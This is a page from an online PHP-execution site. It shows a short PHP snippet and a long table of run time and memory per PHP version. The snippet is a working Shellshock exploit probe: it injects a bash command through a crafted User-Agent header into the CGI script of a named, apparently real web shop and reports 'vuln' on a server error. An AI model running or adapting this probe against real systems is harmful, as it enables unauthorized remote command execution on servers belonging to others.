3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url = "http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi"; $cmd = "ls"; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0) echo "vuln";

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.01217.00
8.3.50.0110.01022.16
8.3.40.0060.00918.93
8.3.30.0040.01119.52
8.3.20.0000.00820.54
8.3.10.0090.00021.03
8.3.00.0040.00419.51
8.2.180.0130.00317.00
8.2.170.0140.00722.96
8.2.160.0100.00320.64
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0000.00821.17
8.2.110.0090.00022.33
8.2.100.0030.01018.09
8.2.90.0030.00519.41
8.2.80.0050.00317.97
8.2.70.0000.00917.75
8.2.60.0080.00018.05
8.2.50.0080.00018.07
8.2.40.0040.00418.41
8.2.30.0000.00719.57
8.2.20.0040.00417.94
8.2.10.0060.00318.20
8.2.00.0040.00417.99
8.1.280.0140.00725.92
8.1.270.0030.00622.31
8.1.260.0080.00026.35
8.1.250.0050.00328.09
8.1.240.0090.00024.13
8.1.230.0070.00419.22
8.1.220.0040.00417.91
8.1.210.0030.00518.77
8.1.200.0040.00417.38
8.1.190.0090.00017.35
8.1.180.0030.00518.10
8.1.170.0080.00018.70
8.1.160.0040.00422.14
8.1.150.0000.00719.09
8.1.140.0070.00017.57
8.1.130.0070.00018.03
8.1.120.0030.00517.60
8.1.110.0000.00817.71
8.1.100.0000.00717.57
8.1.90.0030.00517.58
8.1.80.0040.00417.58
8.1.70.0070.00017.57
8.1.60.0040.00417.67
8.1.50.0080.00017.63
8.1.40.0000.00817.63
8.1.30.0000.00817.77
8.1.20.0000.00817.77
8.1.10.0040.00417.70
8.1.00.0030.00517.57
8.0.300.0000.00718.77
8.0.290.0000.00816.88
8.0.280.0030.00318.70
8.0.270.0040.00417.43
8.0.260.0030.00317.54
8.0.250.0000.00717.11
8.0.240.0050.00217.23
8.0.230.0000.00817.21
8.0.220.0040.00317.09
8.0.210.0030.00617.10
8.0.200.0040.00417.24
8.0.190.0040.00417.29
8.0.180.0000.00817.07
8.0.170.0040.00417.00
8.0.160.0040.00417.00
8.0.150.0000.00717.02
8.0.140.0040.00417.11
8.0.130.0000.00613.70
8.0.120.0050.00517.11
8.0.110.0040.00417.20
8.0.100.0060.00317.28
8.0.90.0000.00917.21
8.0.80.0070.01317.16
8.0.70.0030.00617.25
8.0.60.0080.00017.16
8.0.50.0000.00817.30
8.0.30.0120.01417.41
8.0.20.0130.00817.47
8.0.10.0040.00417.28
8.0.00.0120.00617.07
7.4.330.0000.00615.36
7.4.320.0060.00316.70
7.4.300.0030.00316.72
7.4.290.0000.00616.70
7.4.280.0000.00716.61
7.4.270.0000.00716.71
7.4.260.0030.00316.70
7.4.250.0000.00816.68
7.4.240.0040.00416.79
7.4.230.0000.00716.73
7.4.220.0060.01216.76
7.4.210.0120.00316.89
7.4.200.0040.00416.60
7.4.160.0160.00916.60
7.4.150.0060.01517.40
7.4.140.0120.01017.86
7.4.130.0110.00816.80
7.4.120.0130.00516.80
7.4.110.0000.02216.74
7.4.100.0120.00816.93
7.4.90.0150.00316.75
7.4.80.0120.00919.39
7.4.70.0120.00616.85
7.4.60.0140.00516.79
7.4.50.0040.00416.61
7.4.40.0120.00616.64
7.4.30.0070.01016.83
7.4.00.0070.01215.22
7.3.330.0030.00313.53
7.3.320.0030.00313.64
7.3.310.0040.00416.82
7.3.300.0030.00316.66
7.3.290.0060.01616.64
7.3.280.0100.00716.57
7.3.270.0050.01417.40
7.3.260.0120.00616.71
7.3.250.0170.00716.64
7.3.240.0120.01216.70
7.3.230.0150.00316.71
7.3.210.0070.01116.52
7.3.200.0210.00019.39
7.3.190.0040.01516.61
7.3.180.0100.01016.75
7.3.170.0060.01116.73
7.3.160.0100.01316.78
7.3.120.0130.00314.98
7.3.110.0170.00014.93
7.3.100.0080.00814.92
7.3.90.0070.01115.09
7.3.80.0000.01415.25
7.3.70.0040.00715.01
7.3.60.0030.00715.18
7.3.50.0100.00715.04
7.3.40.0070.00714.94
7.3.30.0110.00315.11
7.3.20.0070.00717.02
7.3.10.0030.00616.91
7.3.00.0100.00717.02
7.2.330.0150.00316.92
7.2.320.0150.00817.07
7.2.310.0100.01016.93
7.2.300.0120.00616.94
7.2.290.0140.00417.09
7.2.250.0070.01315.55
7.2.240.0190.00315.39
7.2.230.0070.01315.29
7.2.220.0040.00815.03
7.2.210.0110.00715.22
7.2.200.0070.00314.95
7.2.190.0040.01215.37
7.2.180.0030.01415.44
7.2.170.0000.01514.96
7.2.60.0180.00616.71
7.2.00.0040.01119.53
7.1.330.0030.01016.23
7.1.320.0000.01316.22
7.1.310.0060.01016.23
7.1.300.0070.00715.73
7.1.290.0130.00315.77
7.1.280.0030.00915.66
7.1.270.0070.00716.00
7.1.260.0100.00316.07
7.1.200.0040.01215.75
7.1.100.0040.00818.80
7.1.70.0070.00717.36
7.1.60.0110.01519.61
7.1.50.0120.01217.17
7.1.00.0070.07322.65
7.0.200.0060.00316.96
7.0.140.0070.07322.34
7.0.60.0070.08320.31
7.0.50.0000.04718.33
7.0.40.0070.08720.54
7.0.30.0570.07020.54
7.0.20.0330.07320.44
7.0.10.0300.07320.45
7.0.00.0130.08320.46
5.6.280.0100.07021.33
5.6.210.0070.03720.83
5.6.200.0100.07718.45
5.6.190.0070.08321.04
5.6.180.0300.04320.98
5.6.170.0270.07320.85
5.6.160.0070.08320.75
5.6.150.0030.05018.57
5.6.140.0070.07718.46
5.6.130.0070.04318.44
5.6.120.0030.05721.41
5.6.110.0070.03721.50
5.6.100.0070.08321.37
5.6.90.0130.05721.52
5.6.80.0100.06320.92
5.6.70.0300.06020.91
5.5.350.0170.06020.67
5.5.340.0030.08318.32
5.5.330.0100.06320.89
5.5.320.0270.08320.60
5.5.310.0270.06720.68
5.5.300.0130.07318.32
5.5.290.0070.07718.53
5.5.280.0070.04321.09
5.5.270.0130.07020.99
5.5.260.0070.03721.39
5.5.250.0100.08320.81
5.5.240.0030.08320.68
5.4.450.0970.04319.60
5.4.440.0270.04319.57
5.4.430.0730.05319.81
5.4.420.0770.05719.80
5.4.410.0630.05019.64
5.4.400.0230.05719.25
5.4.390.0100.05719.36
5.4.380.0370.06718.98
5.4.370.0430.06319.02
5.4.360.0300.05018.98
5.4.350.0300.06018.98
5.4.340.0400.05318.85
5.4.320.0050.04412.68
5.4.310.0050.04212.67
5.4.300.0090.03912.68
5.4.290.0040.03912.68
5.4.280.0090.03712.57
5.4.270.0110.03612.58
5.4.260.0080.04212.58
5.4.250.0090.03812.57
5.4.240.0100.03512.57
5.4.230.0070.03712.57
5.4.220.0110.03212.57
5.4.210.0070.03512.56
5.4.200.0090.03812.57
5.4.190.0080.03912.56
5.4.180.0060.04012.56
5.4.170.0070.03712.57
5.4.160.0090.03612.56
5.4.150.0050.03812.56
5.4.140.0040.03912.24
5.4.130.0070.03512.23
5.4.120.0040.03612.19
5.4.110.0030.03812.18
5.4.100.0080.03612.19
5.4.90.0080.05012.19
5.4.80.0030.04012.19
5.4.70.0060.03412.18
5.4.60.0080.03312.18
5.4.50.0070.03412.18
5.4.40.0080.03312.18
5.4.30.0060.04112.17
5.4.20.0050.03712.17
5.4.10.0090.03212.17
5.4.00.0050.04411.66
5.3.290.0070.03912.88
5.3.280.0080.03912.81
5.3.270.0100.04312.82
5.3.260.0060.04312.82
5.3.250.0090.03812.83
5.3.240.0080.04212.82
5.3.230.0080.04112.81
5.3.220.0090.04312.78
5.3.210.0060.04412.79
5.3.200.0120.04112.79
5.3.190.0060.03812.79
5.3.180.0060.03712.79
5.3.170.0090.04412.78
5.3.160.0080.03812.78
5.3.150.0100.03812.79
5.3.140.0090.04112.77
5.3.130.0080.03912.76
5.3.120.0080.04412.76
5.3.110.0130.04712.77
5.3.100.0050.04912.25
5.3.90.0070.03512.24
5.3.80.0080.04312.23
5.3.70.0070.04412.23
5.3.60.0050.03912.22
5.3.50.0080.04012.16
5.3.40.0060.03612.16
5.3.30.0100.04012.12
5.3.20.0110.03811.90
5.3.10.0030.03711.87
5.3.00.0060.03611.85
5.2.170.0050.0319.36
5.2.160.0060.0309.36
5.2.150.0080.0359.36
5.2.140.0090.0359.36
5.2.130.0060.0379.32
5.2.120.0060.0319.32
5.2.110.0060.0319.32
5.2.100.0070.0299.32
5.2.90.0080.0279.32
5.2.80.0100.0289.31
5.2.70.0050.0319.31
5.2.60.0040.0429.27
5.2.50.0050.0339.23
5.2.40.0110.0249.21
5.2.30.0050.0349.18
5.2.20.0050.0369.17
5.2.10.0040.0299.07
5.2.00.0030.0308.93
5.1.60.0070.0218.21
5.1.50.0060.0288.21
5.1.40.0070.0328.20
5.1.30.0060.0258.54
5.1.20.0060.0288.57
5.1.10.0050.0288.29
5.1.00.0050.0258.30
5.0.50.0030.0216.77
5.0.40.0030.0196.63
5.0.30.0050.0336.44
5.0.20.0040.0196.39
5.0.10.0040.0226.37
5.0.00.0010.0366.36
4.4.90.0030.0154.78
4.4.80.0040.0144.75
4.4.70.0020.0164.76
4.4.60.0010.0174.76
4.4.50.0020.0164.77
4.4.40.0050.0284.71
4.4.30.0030.0154.76
4.4.20.0050.0154.85
4.4.10.0050.0154.85
4.4.00.0030.0244.76
4.3.110.0010.0174.67
4.3.100.0020.0154.66
4.3.90.0040.0134.63
4.3.80.0040.0294.58
4.3.70.0060.0194.63
4.3.60.0020.0204.63
4.3.50.0020.0164.63
4.3.40.0020.0244.54
4.3.30.0000.0213.29
4.3.20.0000.0183.27
4.3.10.0010.0173.23
4.3.00.0070.01313.92

preferences:
42.11 ms | 401 KiB | 5 Q